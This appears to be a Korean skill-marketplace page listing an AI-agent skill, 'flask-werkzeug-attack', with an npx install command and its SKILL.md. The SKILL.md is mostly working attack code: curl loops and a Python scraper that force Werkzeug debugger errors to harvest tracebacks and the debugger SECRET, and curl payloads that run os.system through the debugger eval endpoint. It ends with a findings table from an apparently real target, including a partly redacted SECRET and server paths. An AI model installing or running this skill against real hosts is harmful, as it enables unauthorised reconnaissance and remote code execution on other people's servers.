소스 정보
- 저장소
- Wyl-cmd/kxns-cli
- 최근 소스 활동
- 2026년 7월 25일 08:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 4
- 포크
- 0
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill flask-werkzeug-attack명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | flask-werkzeug-attack |
| description | Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks. |
| sources | field_recon, target-health-saas_com_deep_probe_june_2026 |
| report_count | 1 |
| category | recon |
Flask applications with debug=True enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).
?__debugger__=yes parameter appears in URL resources (CSS, JS, PNG)var CONSOLE_MODE, var EVALEX, or SECRET= in the HTMLterminal tool with curldebug=True in production (misconfiguration)# Check if Werkzeug debugger is active — trigger an error
curl -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
The Werkzeug debugger exposes:
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
The Werkzeug debugger console allows Python code execution on the server IF EVALEX=true and CONSOLE_MODE=true.
# The SECRET and console mode are in the HTML
curl -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
If EVALEX=true:
# Access the console
curl -sk "https://target.com:PORT/console"
Signal check: If /console returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.
If EVALEX=true:
# Execute Python commands (POST to the debugger endpoint)
curl -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
Note: The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.
If EVALEX=false (most common in production), the console is disabled and cannot execute commands. However:
?__debugger__=yes — this is the debugger interface itself; if it loads, the debugger is partially activeBeyond the specific error-triggering path, probe for other endpoints that may leak different info:
# Path traversal in error generation
curl -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
| Finding | Value |
|---|---|
| Trigger path | /sitemap.xml (HTTP 500) |
| Error | NameError: name 'Response' is not defined |
| Framework | Flask (Python 3.10) |
| Server path | /var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py |
| SECRET | vYQ93K...8cww (exposed in HTML) |
| Console | DISABLED (EVALEX=false, CONSOLE_MODE=false) |
| CORS | Access-Control-Allow-Origin: * on error page |
| Other endpoints | POST /login returns JSON, POST /register returns HTTP 403 |
Access-Control-Allow-Origin headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().hunt-rce — General RCE hunting; console-enabled Werkzeug would be RCEhunt-python — Python-specific vulnerability huntingjs-secrets-extraction — Finding API keys that may work with the Flask APIhunt-source-leak — Finding .env and config files that may contain Flask SECRET_KEYcache-attack — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)